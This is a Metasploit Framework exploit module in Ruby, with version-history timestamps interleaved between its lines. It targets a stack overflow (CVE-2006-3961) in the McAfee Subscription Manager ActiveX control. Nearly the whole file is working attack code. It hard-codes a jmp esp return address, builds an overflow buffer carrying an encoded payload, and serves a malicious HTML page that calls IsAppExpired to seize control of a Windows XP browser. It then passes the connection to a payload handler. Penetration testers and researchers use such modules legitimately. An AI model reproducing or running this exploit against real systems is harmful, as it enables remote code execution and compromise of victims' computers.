2007-02-18 00:10:39 +00:00
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##
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2007-03-01 08:21:36 +00:00
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# $Id$
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2007-02-18 00:10:39 +00:00
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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# http://metasploit.com/framework/
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2007-02-18 00:10:39 +00:00
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##
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2006-08-14 08:55:37 +00:00
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require 'msf/core'
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2008-10-02 05:23:59 +00:00
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class Metasploit3 < Msf::Exploit::Remote
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2006-08-14 08:55:37 +00:00
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2008-10-02 05:23:59 +00:00
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include Msf::Exploit::Remote::HttpServer::HTML
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2006-08-14 08:55:37 +00:00
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'McAfee Subscription Manager Stack Overflow',
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'Description' => %q{
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This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
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Due to an unsafe use of vsprintf, it is possible to trigger a stack overflow by
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passing a large string to one of the COM-exposed routines, such as IsAppExpired.
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2006-08-14 09:00:50 +00:00
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This vulnerability was discovered by Karl Lynn of eEye.
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2006-08-14 08:55:37 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'skape',
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],
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2007-02-18 00:10:39 +00:00
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'Version' => '$Revision$',
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2006-08-14 08:55:37 +00:00
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'References' =>
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[
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2007-01-05 14:44:09 +00:00
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[ 'CVE', '2006-3961'],
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[ 'BID', '19265'],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
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2006-08-14 08:55:37 +00:00
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],
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'Payload' =>
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{
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'Space' => 1014,
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'MaxNops' => 0,
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'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
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'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
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'EncoderOptions' =>
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{
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'BufferOffset' => 0x8
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}
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},
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'Targets' =>
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[
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# Target 0: Automatic
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[
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'Windows XP SP0/SP1',
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{
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'Platform' => 'win',
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'Rets' =>
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[
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0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
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#0x773f346a # XP SP2 comctl32.dll: jmp esp
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]
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},
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],
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],
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Pick the right target
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case request['User-Agent']
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when /Windows NT 5.1/
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ret = target['Rets'][0]
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else
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print_error("Unsupported target: #{request['User-Agent']}")
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cli.send_response(create_response(404, 'File not found'))
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return
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end
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# Build out our overflow buffer
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buf =
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2007-03-01 08:21:36 +00:00
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rand_text(2972, payload_badchars) +
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2006-08-14 08:55:37 +00:00
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[ ret ].pack('V') +
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"\x60" + # pusha
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2007-06-29 00:29:53 +00:00
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"\x6a" + rand_char + # push byte 0x1
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"\x6a" + rand_char + # push byte 0x1
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"\x6a" + rand_char + # push byte 0x1
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2006-08-14 08:55:37 +00:00
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"\x61" + # popa
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p.encoded
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# Generate random variable names
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2007-03-01 08:21:36 +00:00
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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2006-08-14 08:55:37 +00:00
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# Build out the message
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content =
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"<html>" +
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"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
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"<script language='javascript'>\n" +
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"var #{vname} = document.getElementById('#{vname}');\n" +
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"var #{strname} = new String('#{buf}');\n" +
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"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
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"</script>" +
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"</html>"
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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2006-12-10 03:26:53 +00:00
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send_response_html(cli, content)
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2007-04-04 04:34:17 +00:00
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# Handle the payload
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handler(cli)
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2006-08-14 08:55:37 +00:00
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end
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2008-10-19 21:03:39 +00:00
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end
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